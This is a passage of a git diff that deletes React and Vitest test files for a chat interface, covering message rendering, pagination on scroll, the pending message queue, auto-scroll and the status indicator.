; - } - render( - - - , - ); - expect(screen.getByTestId("custom-component")).toBeInTheDocument(); - }); - - it("should apply correct styles to inline code", () => { - render( - , - ); - const codeElement = screen.getByText("inline code"); - - expect(codeElement.tagName.toLowerCase()).toBe("code"); - expect(codeElement.closest("article")).not.toBeNull(); - }); - - it("truncates long sent user messages to five lines with view more on hover", async () => { - const longMessage = `${"Here's a long message. ".repeat(40)}`.trim(); - render(); - - expect( - screen.getByText(longMessage).closest(".line-clamp-5"), - ).not.toBeNull(); - expect( - screen.getByTestId("chat-message-truncation-gradient"), - ).toBeInTheDocument(); - expect(screen.getByTestId("chat-message-view-more")).toHaveClass( - "opacity-0", - ); - - fireEvent.mouseEnter(screen.getByTestId("user-message")); - expect(screen.getByTestId("chat-message-view-more")).toHaveClass( - "opacity-100", - ); - - fireEvent.click(screen.getByTestId("chat-message-expand")); - expect( - screen.queryByTestId("chat-message-truncation-gradient"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("chat-message-view-more"), - ).not.toBeInTheDocument(); - }); - - it("shows a stop control for a sending user message and calls onStop when clicked", () => { - const onStop = vi.fn(); - render( - , - ); - - expect(screen.getByTestId("chat-message-sending")).toBeInTheDocument(); - const stopButton = screen.getByTestId("chat-message-stop"); - - // The stop control only becomes interactive once the bubble is hovered. - fireEvent.mouseEnter(screen.getByTestId("user-message")); - fireEvent.click(stopButton); - - expect(onStop).toHaveBeenCalledTimes(1); - }); - - it("renders a literal angle-bracket user message as visible text", () => { - // Regression: user messages were rendered with raw-HTML parsing enabled, - // so a message like "" was parsed as an unknown HTML tag and - // dropped by rehype-sanitize — leaving an empty bubble that looked like - // nothing was sent. User input must render literally. - const { container } = render( - , - ); - - expect(screen.getByTestId("user-message")).toBeInTheDocument(); - // The angle-bracket text must survive verbatim... - expect(container.textContent).toContain(""); - // ...and must NOT have been parsed into an element. - expect(container.querySelector("something")).toBeNull(); - }); - - it("renders literal angle-bracket text in a sending user message", () => { - // The pending/sending bubble renders through a different branch than the - // settled message, so it gets its own guard. - const { container } = render( - , - ); - - expect(container.textContent).toContain(""); - expect(container.querySelector("something")).toBeNull(); - }); - - it("still parses inline HTML for agent messages", () => { - // The fix is scoped to user input: agent output keeps raw-HTML parsing so - // allowed inline tags (badges, ,
, …) continue to render. - const { container } = render( - , - ); - - expect(container.querySelector("mark")?.textContent).toBe("world"); - }); -}); diff --git a/__tests__/components/chat-status-indicator.test.tsx b/__tests__/components/chat-status-indicator.test.tsx deleted file mode 100644 index 5e6f4dc2c..000000000 --- a/__tests__/components/chat-status-indicator.test.tsx +++ /dev/null @@ -1,48 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; -import ChatStatusIndicator from "#/components/features/chat/chat-status-indicator"; - -vi.mock("#/icons/debug-stackframe-dot.svg?react", () => ({ - default: (props: any) => ( - - ), -})); - -describe("ChatStatusIndicator", () => { - it("renders the status indicator with status text", () => { - render( - - ); - - expect( - screen.getByTestId("chat-status-indicator"), - ).toBeInTheDocument(); - expect(screen.getByText("Waiting for runtime")).toBeInTheDocument(); - }); - - it("passes the statusColor to the DebugStackframeDot icon", () => { - render( - - ); - - const icon = screen.getByTestId("debug-stackframe-dot"); - expect(icon).toHaveAttribute("color", "#FF684E"); - }); - - it("renders the DebugStackframeDot icon", () => { - render( - - ); - - expect(screen.getByTestId("debug-stackframe-dot")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/chat/btw-messages.test.tsx b/__tests__/components/chat/btw-messages.test.tsx deleted file mode 100644 index 048cefbdc..000000000 --- a/__tests__/components/chat/btw-messages.test.tsx +++ /dev/null @@ -1,70 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it } from "vitest"; -import { BtwMessages } from "#/components/features/chat/btw-messages"; -import { I18nKey } from "#/i18n/declaration"; -import { useBtwStore } from "#/stores/btw-store"; - -const CONV = "conv-1"; -const entriesFor = (c: string) => - useBtwStore.getState().entriesByConversation[c] ?? []; - -describe("", () => { - beforeEach(() => { - useBtwStore.setState({ entriesByConversation: {} }); - }); - - it("renders spinner and no Got it button while pending", () => { - useBtwStore.getState().addPending(CONV, "why?"); - render(); - expect(screen.getByText("why?")).toBeInTheDocument(); - expect(screen.getByTestId("btw-spinner")).toBeInTheDocument(); - expect( - screen.queryByRole("button", { - name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT, - }), - ).toBeNull(); - }); - - it("renders the response and a Got it button that dismisses on click", async () => { - const id = useBtwStore.getState().addPending(CONV, "why?"); - useBtwStore.getState().resolve(CONV, id, "because"); - const user = userEvent.setup(); - render(); - expect(screen.getByText(/because/i)).toBeInTheDocument(); - await user.click( - screen.getByRole("button", { - name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT, - }), - ); - expect(entriesFor(CONV)).toEqual([]); - }); - - it("does not render entries from other conversations", () => { - useBtwStore.getState().addPending("other-conv", "not mine"); - const { container } = render(); - expect(container).toBeEmptyDOMElement(); - }); - - it("renders BTW prefix and pending details through translation keys", async () => { - useBtwStore.getState().addPending(CONV, "why?"); - const user = userEvent.setup(); - render(); - expect( - screen.getByText(I18nKey.CHAT_INTERFACE$BTW_PREFIX), - ).toBeInTheDocument(); - await user.click(screen.getByRole("button", { name: /expand/i })); - expect( - screen.getByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER), - ).toBeInTheDocument(); - }); - - it("does not render the pending-state translation key once the entry has resolved", () => { - const id = useBtwStore.getState().addPending(CONV, "why?"); - useBtwStore.getState().resolve(CONV, id, "because"); - render(); - expect( - screen.queryByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER), - ).toBeNull(); - }); -}); diff --git a/__tests__/components/chat/chat-add-file-button.test.tsx b/__tests__/components/chat/chat-add-file-button.test.tsx deleted file mode 100644 index 6dc767bae..000000000 --- a/__tests__/components/chat/chat-add-file-button.test.tsx +++ /dev/null @@ -1,76 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { ChatAddFileButton } from "#/components/features/chat/chat-add-file-button"; -import { I18nKey } from "#/i18n/declaration"; - -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ data: undefined }), -})); - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: undefined }), -})); - -vi.mock("#/hooks/use-conversation-name-context-menu", () => ({ - useConversationNameContextMenu: () => ({ - handleShowAgentTools: vi.fn(), - handleShowSkills: vi.fn(), - handleShowHooks: vi.fn(), - systemModalVisible: false, - setSystemModalVisible: vi.fn(), - skillsModalVisible: false, - setSkillsModalVisible: vi.fn(), - hooksModalVisible: false, - setHooksModalVisible: vi.fn(), - systemMessage: null, - shouldShowAgentTools: true, - shouldShowHooks: false, - }), -})); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => ({ providers: [] }), -})); - -describe("ChatAddFileButton", () => { - it("uses the translated aria-label for the plus menu trigger", () => { - render(); - - const button = screen.getByTestId("chat-plus-button"); - expect(button).toHaveAttribute("aria-label", I18nKey.CHAT_INTERFACE$PLUS_MENU); - expect(button).toHaveAttribute("aria-haspopup", "menu"); - }); - - it("opens the tools menu and invokes handleFileIconClick from the footer item", async () => { - const user = userEvent.setup(); - const handleFileIconClick = vi.fn(); - - render(); - - await user.click(screen.getByTestId("chat-plus-button")); - expect(screen.getByTestId("tools-context-menu")).toBeInTheDocument(); - - await user.click(screen.getByTestId("add-files-and-images-button")); - expect(handleFileIconClick).toHaveBeenCalledTimes(1); - }); - - it("does not open the menu or invoke the file handler when disabled", async () => { - const user = userEvent.setup(); - const handleFileIconClick = vi.fn(); - - render( - , - ); - - const button = screen.getByTestId("chat-plus-button"); - expect(button).toBeDisabled(); - - await user.click(button); - expect(screen.queryByTestId("tools-context-menu")).not.toBeInTheDocument(); - expect(handleFileIconClick).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/chat/chat-interface.test.tsx b/__tests__/components/chat/chat-interface.test.tsx deleted file mode 100644 index 7139fae2c..000000000 --- a/__tests__/components/chat/chat-interface.test.tsx +++ /dev/null @@ -1,994 +0,0 @@ -import { - afterEach, - beforeEach, - describe, - expect, - it, - test, - vi, -} from "vitest"; -import { - fireEvent, - render, - screen, - waitFor, - within, -} from "@testing-library/react"; -import { MemoryRouter, Route, Routes } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { renderWithProviders, useParamsMock } from "test-utils"; -import { SUGGESTIONS } from "#/utils/suggestions"; -import { ChatInterface } from "#/components/features/chat/chat-interface"; -import { - useConversationId, - useOptionalConversationId, -} from "#/hooks/use-conversation-id"; -import { useErrorMessageStore } from "#/stores/error-message-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { useConfig } from "#/hooks/query/use-config"; -import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files"; -import type { MessageEvent } from "#/types/agent-server/core"; -import { useEventStore } from "#/stores/use-event-store"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { useLoadOlderEvents } from "#/hooks/use-load-older-events"; -import { useTaskPolling } from "#/hooks/query/use-task-polling"; -import { AgentState } from "#/types/agent-state"; -import { useConversationStore } from "#/stores/conversation-store"; -import { useGoalStore } from "#/stores/goal-store"; -import { act } from "@testing-library/react"; - -const mockSend = vi.fn(); -vi.mock("#/hooks/use-send-message", () => ({ - useSendMessage: () => ({ send: mockSend }), -})); - -vi.mock("#/hooks/query/use-config"); -vi.mock("#/hooks/mutation/use-unified-upload-files"); -// Treat the LLM as configured by default so the "not configured" gate/banner -// stays inert for these tests (its own behavior is covered elsewhere). -vi.mock("#/hooks/use-llm-configured", () => ({ - useLlmConfigured: () => ({ isConfigured: true, isLoading: false }), -})); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: vi.fn(), - useOptionalConversationId: vi.fn(), -})); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => ({ - providers: [], - }), -})); - -vi.mock("#/hooks/use-conversation-name-context-menu", () => ({ - useConversationNameContextMenu: () => ({ - isOpen: false, - contextMenuRef: { current: null }, - handleContextMenu: vi.fn(), - handleClose: vi.fn(), - handleRename: vi.fn(), - handleDelete: vi.fn(), - }), -})); - -vi.mock("#/hooks/use-load-older-events", () => ({ - useLoadOlderEvents: vi.fn(), -})); - -vi.mock("#/hooks/query/use-task-polling", () => ({ - useTaskPolling: vi.fn(), -})); - -vi.mock("#/hooks/use-agent-state", () => ({ - useAgentState: vi.fn(() => ({ - curAgentState: AgentState.AWAITING_USER_INPUT, - })), -})); - -const trackInitialQuerySubmittedMock = vi.fn(); -const trackUserMessageSentMock = vi.fn(); -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackInitialQuerySubmitted: trackInitialQuerySubmittedMock, - trackUserMessageSent: trackUserMessageSentMock, - }), -})); - -// Helper function to render with Router context -const renderChatInterfaceWithRouter = () => - renderWithProviders( - - - , - ); - -// Helper function to render with QueryClientProvider and Router (for newer tests) -const renderWithQueryClient = ( - ui: React.ReactElement, - queryClient: QueryClient, - route = "/test-conversation-id", -) => - render( - - - - - - - - , - ); - -beforeEach(() => { - useParamsMock.mockReturnValue({ conversationId: "test-conversation-id" }); - vi.mocked(useConversationId).mockReturnValue({ - conversationId: "test-conversation-id", - }); - vi.mocked(useOptionalConversationId).mockReturnValue({ - conversationId: "test-conversation-id", - }); - vi.mocked(useTaskPolling).mockReturnValue({ - isTask: false, - taskId: null, - conversationId: "test-conversation-id", - task: undefined, - taskStatus: undefined, - taskDetail: undefined, - taskError: null, - isLoadingTask: false, - repositoryInfo: { - selectedRepository: undefined, - selectedBranch: undefined, - gitProvider: undefined, - }, - }); - // Default: pagination disabled (hasMore=false) so unrelated tests don't - // accidentally trigger loadOlder via the on-mount auto-trigger effect. - // Tests that exercise pagination override this. - vi.mocked(useLoadOlderEvents).mockReturnValue({ - isLoading: false, - hasMore: false, - loadOlder: vi.fn().mockResolvedValue(undefined), - }); -}); - -describe("ChatInterface - Chat Suggestions", () => { - // Create a new QueryClient for each test - let queryClient: QueryClient; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - - vi.mocked(useTaskPolling).mockReturnValue({ - isTask: false, - taskId: null, - conversationId: "test-conversation-id", - task: undefined, - taskStatus: undefined, - taskDetail: undefined, - taskError: null, - isLoadingTask: false, - repositoryInfo: { - selectedRepository: undefined, - selectedBranch: undefined, - gitProvider: undefined, - }, - }); - - useOptimisticUserMessageStore.setState({ - pendingMessages: [], - }); - - useErrorMessageStore.setState({ - errorMessage: null, - }); - - (useConfig as unknown as ReturnType).mockReturnValue({ - data: {}, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi - .fn() - .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), - isLoading: false, - }); - }); - - test("should hide chat suggestions when there is a user message", () => { - const mockUserEvent: MessageEvent = { - id: "msg-1", - timestamp: "2025-07-01T00:00:00Z", - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "Hello" }], - }, - activated_microagents: [], - extended_content: [], - }; - - useEventStore.setState({ - events: [mockUserEvent], - eventIds: new Set(["msg-1"]), - uiEvents: [mockUserEvent], - }); - - renderWithQueryClient(, queryClient); - - // Check if ChatSuggestions is not rendered with user events - expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument(); - }); - - test("should hide chat suggestions when there is an optimistic user message", () => { - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: "test-conversation-id", - text: "Optimistic message", - }); - - renderWithQueryClient(, queryClient); - - // Check if ChatSuggestions is not rendered with optimistic user message - expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument(); - }); - - test("should hide chat suggestions while a cloud start task is provisioning", () => { - vi.mocked(useTaskPolling).mockReturnValue({ - isTask: true, - taskId: "abc", - conversationId: null, - task: undefined, - taskStatus: "WORKING", - taskDetail: undefined, - taskError: null, - isLoadingTask: false, - repositoryInfo: { - selectedRepository: undefined, - selectedBranch: undefined, - gitProvider: undefined, - }, - }); - - renderWithQueryClient( - , - queryClient, - "/task-abc", - ); - - expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument(); - }); - - test("should hide chat suggestions on a task route even when the task is READY", () => { - vi.mocked(useTaskPolling).mockReturnValue({ - isTask: true, - taskId: "abc", - conversationId: null, - task: undefined, - taskStatus: "READY", - taskDetail: undefined, - taskError: null, - isLoadingTask: false, - repositoryInfo: { - selectedRepository: undefined, - selectedBranch: undefined, - gitProvider: undefined, - }, - }); - - renderWithQueryClient( - , - queryClient, - "/task-abc", - ); - - expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument(); - }); -}); - -describe("ChatInterface - Empty state", () => { - it.todo("should render suggestions if empty"); - - it("should render the default suggestions", () => { - renderChatInterfaceWithRouter(); - - const suggestions = screen.getByTestId("chat-suggestions"); - const repoSuggestions = Object.keys(SUGGESTIONS.repo); - - // check that there are at most 4 suggestions displayed - const displayedSuggestions = within(suggestions).getAllByRole("button"); - expect(displayedSuggestions.length).toBeLessThanOrEqual(4); - - // Check that each displayed suggestion is one of the repo suggestions - displayedSuggestions.forEach((suggestion) => { - expect(repoSuggestions).toContain(suggestion.textContent); - }); - }); -}); - -describe("ChatInterface - Scroll-up loads older events", () => { - let queryClient: QueryClient; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useErrorMessageStore.setState({ errorMessage: null }); - - (useConfig as unknown as ReturnType).mockReturnValue({ - data: {}, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi.fn(), - isLoading: false, - }); - }); - - afterEach(() => { - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); - vi.clearAllMocks(); - }); - - // Helper: install a controllable mock of useLoadOlderEvents and seed the - // store with one renderable user message so the chat mounts a scroll area. - const setupPaginationTest = () => { - const loadOlder = vi.fn().mockResolvedValue(undefined); - vi.mocked(useLoadOlderEvents).mockReturnValue({ - isLoading: false, - hasMore: true, - loadOlder, - }); - const seedEvent: MessageEvent = { - id: "msg-seed", - timestamp: "2025-07-01T00:00:00Z", - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "Existing message" }], - }, - activated_microagents: [], - extended_content: [], - }; - useEventStore.setState({ - events: [seedEvent], - eventIds: new Set(["msg-seed"]), - uiEvents: [seedEvent], - }); - return loadOlder; - }; - - // The auto-scroll-to-bottom hook schedules a rAF that does - // `dom.scrollTop = dom.scrollHeight`, which clobbers any value we set - // here before the test's event fires. Pin `scrollTop` as a stable - // getter so those assignments are no-ops. - const setScrollMetrics = ( - el: HTMLElement, - metrics: { scrollTop: number; scrollHeight: number; clientHeight: number }, - ) => { - Object.defineProperty(el, "scrollTop", { - configurable: true, - get: () => metrics.scrollTop, - set: () => { - /* swallow assignments from auto-scroll-to-bottom */ - }, - }); - Object.defineProperty(el, "scrollHeight", { - configurable: true, - writable: true, - value: metrics.scrollHeight, - }); - Object.defineProperty(el, "clientHeight", { - configurable: true, - writable: true, - value: metrics.clientHeight, - }); - }; - - it("calls loadOlder when the user scrolls near the top", async () => { - const loadOlder = setupPaginationTest(); - renderWithQueryClient(, queryClient); - - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - // Pretend the user just scrolled near the top of an overflowing list. - setScrollMetrics(scrollContainer!, { - scrollTop: 0, - scrollHeight: 5000, - clientHeight: 800, - }); - // Drop any on-mount auto-trigger so we exclusively assert the scroll path. - await new Promise((r) => { - setTimeout(r, 0); - }); - loadOlder.mockClear(); - - fireEvent.scroll(scrollContainer!); - - await new Promise((r) => { - setTimeout(r, 0); - }); - - expect(loadOlder).toHaveBeenCalledTimes(1); - }); - - it("auto-loads older events when the chat content does not overflow the viewport", async () => { - // No overflow ⇒ no scrollbar ⇒ user can't trigger loadOlder by - // scrolling. The component must auto-trigger via useEffect. - const loadOlder = setupPaginationTest(); - renderWithQueryClient(, queryClient); - - // Allow the on-mount auto-trigger useEffect to fire. - await new Promise((r) => { - setTimeout(r, 0); - }); - - expect(loadOlder).toHaveBeenCalled(); - }); - - it("loads older events when the user wheels up while pinned at scrollTop=0", async () => { - // Overscroll-at-top: scrollTop is already 0 so the browser does not - // dispatch a scroll event. Wheel handler must catch this. - const loadOlder = setupPaginationTest(); - renderWithQueryClient(, queryClient); - - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - // Plenty of scrollable content overhead so the no-overflow branch - // doesn't claim the call — we want to exercise the wheel path. - setScrollMetrics(scrollContainer!, { - scrollTop: 0, - scrollHeight: 10000, - clientHeight: 800, - }); - - // Let any on-mount auto-trigger settle. - await new Promise((r) => { - setTimeout(r, 0); - }); - loadOlder.mockClear(); - - // User is pinned at the top and wheels upward — no scroll event - // would fire here in a real browser. - fireEvent.wheel(scrollContainer!, { deltaY: -100 }); - - await new Promise((r) => { - setTimeout(r, 0); - }); - - expect(loadOlder).toHaveBeenCalledTimes(1); - }); - - it("shows an error banner if loading older events fails", async () => { - // This test exercises the real useLoadOlderEvents (so a rejected - // searchEvents propagates through to the chat's error banner). - // Override the global mock with the actual implementation. - const actualLoadOlderModule = await vi.importActual< - typeof import("#/hooks/use-load-older-events") - >("#/hooks/use-load-older-events"); - vi.mocked(useLoadOlderEvents).mockImplementation( - actualLoadOlderModule.useLoadOlderEvents, - ); - - const seedEvent: MessageEvent = { - id: "msg-seed", - timestamp: "2025-07-01T00:00:00Z", - source: "user", - llm_message: { - role: "user", - content: [{ type: "text", text: "Existing message" }], - }, - activated_microagents: [], - extended_content: [], - }; - useEventStore.setState({ - events: [seedEvent], - eventIds: new Set(["msg-seed"]), - uiEvents: [seedEvent], - }); - - const useUserConversationModule = - await import("#/hooks/query/use-user-conversation"); - vi.spyOn(useUserConversationModule, "useUserConversation").mockReturnValue({ - data: { - conversation_id: "test-conversation-id", - conversation_url: "https://example.com", - session_api_key: "k", - conversation_version: "V1", - }, - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as unknown as ReturnType< - typeof useUserConversationModule.useUserConversation - >); - - const eventServiceModule = - await import("#/api/event-service/event-service.api"); - vi.spyOn(eventServiceModule.default, "searchEvents").mockRejectedValue( - new Error("Older events request failed"), - ); - - renderWithQueryClient(, queryClient); - - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - Object.defineProperty(scrollContainer!, "scrollTop", { - configurable: true, - writable: true, - value: 0, - }); - Object.defineProperty(scrollContainer!, "scrollHeight", { - configurable: true, - writable: true, - value: 5000, - }); - - scrollContainer!.dispatchEvent(new Event("scroll", { bubbles: true })); - - expect( - await screen.findByText("Older events request failed"), - ).toBeInTheDocument(); - }); - - it("renders renderable agent events even when the loaded window has no user message (so the user has something to scroll up from)", () => { - // Simulate the lazy-loaded "50 most recent" window landing in the - // store with only agent / environment events — the original user - // prompt is older than this window. - // eslint-disable-next-line @typescript-eslint/no-explicit-any - const agentAction: any = { - id: "act-1", - timestamp: "2025-07-01T00:00:10Z", - source: "agent", - kind: "ActionEvent", - action: { - kind: "ExecuteBashAction", - command: "ls", - }, - tool_name: "terminal", - tool_call_id: "call-1", - tool_call: { - id: "call-1", - name: "terminal", - arguments: { command: "ls" }, - }, - llm_response_id: "resp-1", - thought: [], - reasoning_content: "", - thinking_blocks: [], - }; - - useEventStore.setState({ - events: [agentAction], - eventIds: new Set(["act-1"]), - uiEvents: [agentAction], - }); - - renderWithQueryClient(, queryClient); - - // The scroll container exists (so the user can scroll up to load older). - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - // ChatSuggestions should NOT take over the chat area when agent - // actions are present in the loaded window. - expect(screen.queryByTestId("chat-suggestions")).not.toBeInTheDocument(); - - // The Messages list should be rendered (the bug was that it was - // gated on `conversationUserEventsExist` and stayed hidden here, - // leaving a blank chat with nothing to scroll). - expect(scrollContainer!.children.length).toBeGreaterThan(0); - }); -}); - -describe("ChatInterface - Pending message queue", () => { - let queryClient: QueryClient; - - beforeEach(() => { - mockSend.mockReset(); - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useErrorMessageStore.setState({ errorMessage: null }); - (useConfig as unknown as ReturnType).mockReturnValue({ - data: {}, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi - .fn() - .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), - isLoading: false, - }); - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); - }); - - afterEach(() => { - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - }); - - function submitMessage(text: string) { - // The chat input is a contenteditable div; the conversation store exposes - // `submittedMessage` which CustomChatInput watches and forwards to the - // ChatInterface's `onSubmit` handler. Driving that store directly is the - // most reliable way to simulate "the user pressed send" in jsdom. - act(() => { - useConversationStore.setState({ submittedMessage: text }); - }); - } - - function renderInterface() { - render( - - - - } /> - - - , - ); - } - - it("shows the message in 'sending' state immediately when submitted", async () => { - let resolveSend: ((value: unknown) => void) | undefined; - mockSend.mockImplementation( - () => - new Promise((resolve) => { - resolveSend = resolve; - }), - ); - - renderInterface(); - submitMessage("hello world"); - - const pendingMessage = await screen.findByTestId("user-message"); - expect(pendingMessage).toHaveTextContent("hello world"); - expect(pendingMessage).toHaveAttribute("data-pending-status", "sending"); - expect(screen.getByTestId("chat-message-sending")).toBeInTheDocument(); - expect(screen.queryByTestId("chat-message-retry")).not.toBeInTheDocument(); - - resolveSend?.({ queued: false }); - }); - - it("flips the message to 'error' with a retry link when send rejects", async () => { - mockSend.mockRejectedValue(new Error("network down")); - - renderInterface(); - submitMessage("hello"); - - await waitFor(() => { - expect(screen.getByTestId("user-message")).toHaveAttribute( - "data-pending-status", - "error", - ); - }); - expect(screen.getByTestId("chat-message-error")).toBeInTheDocument(); - expect(screen.getByTestId("chat-message-retry")).toBeInTheDocument(); - }); - - it("queues multiple submitted messages, each with its own pending entry", async () => { - mockSend.mockResolvedValue({ queued: false }); - - renderInterface(); - submitMessage("first"); - submitMessage("second"); - - await waitFor(() => { - expect(screen.getAllByTestId("user-message")).toHaveLength(2); - }); - const messages = screen.getAllByTestId("user-message"); - expect(messages[0]).toHaveTextContent("first"); - expect(messages[1]).toHaveTextContent("second"); - }); -}); - -describe("ChatInterface - Auto-scroll on submit (issue #817)", () => { - let queryClient: QueryClient; - - beforeEach(() => { - mockSend.mockReset(); - mockSend.mockResolvedValue({ queued: false }); - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useErrorMessageStore.setState({ errorMessage: null }); - (useConfig as unknown as ReturnType).mockReturnValue({ - data: {}, - }); - ( - useUnifiedUploadFiles as unknown as ReturnType - ).mockReturnValue({ - mutateAsync: vi - .fn() - .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), - isLoading: false, - }); - useEventStore.setState({ - events: [], - eventIds: new Set(), - uiEvents: [], - }); - }); - - afterEach(() => { - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - }); - - it("scrolls to bottom when a new prompt is submitted while the user is scrolled up", async () => { - // Arrange: render and grab the chat scroll container. - render( - - - - } /> - - - , - ); - - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - // Let the mount-time auto-scroll rAF (which re-arms autoScroll=true) - // run and settle BEFORE the scroll-up sim. Otherwise that rAF would - // fire later and undo the autoScroll=false precondition for the bug. - await new Promise((r) => { - setTimeout(r, 0); - }); - - // Capture every scrollTop write so we can detect the rAF inside - // scrollDomToBottom landing `dom.scrollTop = dom.scrollHeight`. - const scrollWrites: number[] = []; - let scrollTopRead = 200; - Object.defineProperty(scrollContainer!, "scrollTop", { - configurable: true, - get: () => scrollTopRead, - set: (value: number) => { - scrollWrites.push(value); - }, - }); - Object.defineProperty(scrollContainer!, "scrollHeight", { - configurable: true, - writable: true, - value: 10000, - }); - Object.defineProperty(scrollContainer!, "clientHeight", { - configurable: true, - writable: true, - value: 800, - }); - - // Simulate the user scrolling up: first event seeds prev=200, the - // second event at scrollTop=50 is detected as scrolling up and flips - // the hook's `autoScroll` to false (the precondition for the bug). - fireEvent.scroll(scrollContainer!); - scrollTopRead = 50; - fireEvent.scroll(scrollContainer!); - scrollWrites.length = 0; - - // Act: submit a new prompt (same path InteractiveChatBox uses). - act(() => { - useConversationStore.setState({ submittedMessage: "hello" }); - }); - - // Assert: scrollDomToBottom landed scrollHeight onto scrollTop even - // though autoScroll was off. Without the fix the auto-scroll effect - // would skip the call and `scrollWrites` would stay empty. - await waitFor(() => { - expect(scrollWrites).toContain(10000); - }); - }); - - it("follows the live goal banner into view when an active goal advances", async () => { - vi.mocked(useOptionalConversationId).mockReturnValue({ - conversationId: "test-conversation-id", - }); - useGoalStore.setState({ statusByConversation: {} }); - - render( - - - - } /> - - - , - ); - - const scrollContainer = document.querySelector( - "[data-testid='chat-scroll-container']", - ) as HTMLElement | null; - expect(scrollContainer).not.toBeNull(); - - // Let the mount-time auto-scroll settle; the user stays pinned to the - // bottom (autoScroll=true) since we never simulate a scroll-up. - await new Promise((r) => { - setTimeout(r, 0); - }); - - const scrollWrites: number[] = []; - Object.defineProperty(scrollContainer!, "scrollTop", { - configurable: true, - get: () => 9200, - set: (value: number) => { - scrollWrites.push(value); - }, - }); - Object.defineProperty(scrollContainer!, "scrollHeight", { - configurable: true, - writable: true, - value: 10000, - }); - Object.defineProperty(scrollContainer!, "clientHeight", { - configurable: true, - writable: true, - value: 800, - }); - scrollWrites.length = 0; - - // Act: an in-progress goal advances — a store update only, with no change - // to `renderableEvents` (in-progress goal events are filtered out). - act(() => { - useGoalStore.getState().setStatus("test-conversation-id", { - active: true, - status: "running", - iteration: 1, - max_iterations: 10, - objective: "make pytest pass", - verdict: { score: 0.5, complete: false, missing: "needs tests" }, - }); - }); - - // Assert: the bottom-following effect scrolled the banner into view. - // Without wiring the active goal status into that effect, scrollWrites - // would stay empty. - await waitFor(() => { - expect(scrollWrites).toContain(10000); - }); - }); -}); - -describe("ChatInterface - Status Indicator", () => { - it("should render ChatStatusIndicator when agent is not awaiting user input / conversation is NOT ready", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.LOADING, - }); - - renderChatInterfaceWithRouter(); - - expect(screen.getByTestId("chat-status-indicator")).toBeInTheDocument(); - }); - - it("should NOT render ChatStatusIndicator when agent is awaiting user input / conversation is ready", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.AWAITING_USER_INPUT, - }); - - renderChatInterfaceWithRouter(); - - expect( - screen.queryByTestId("chat-status-indicator"), - ).not.toBeInTheDocument(); - }); -}); - -describe("ChatInterface - Tracking", () => { - let queryClient: QueryClient; - - beforeEach(() => { - vi.clearAllMocks(); - mockSend.mockResolvedValue({ queued: false }); - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - useErrorMessageStore.setState({ errorMessage: null }); 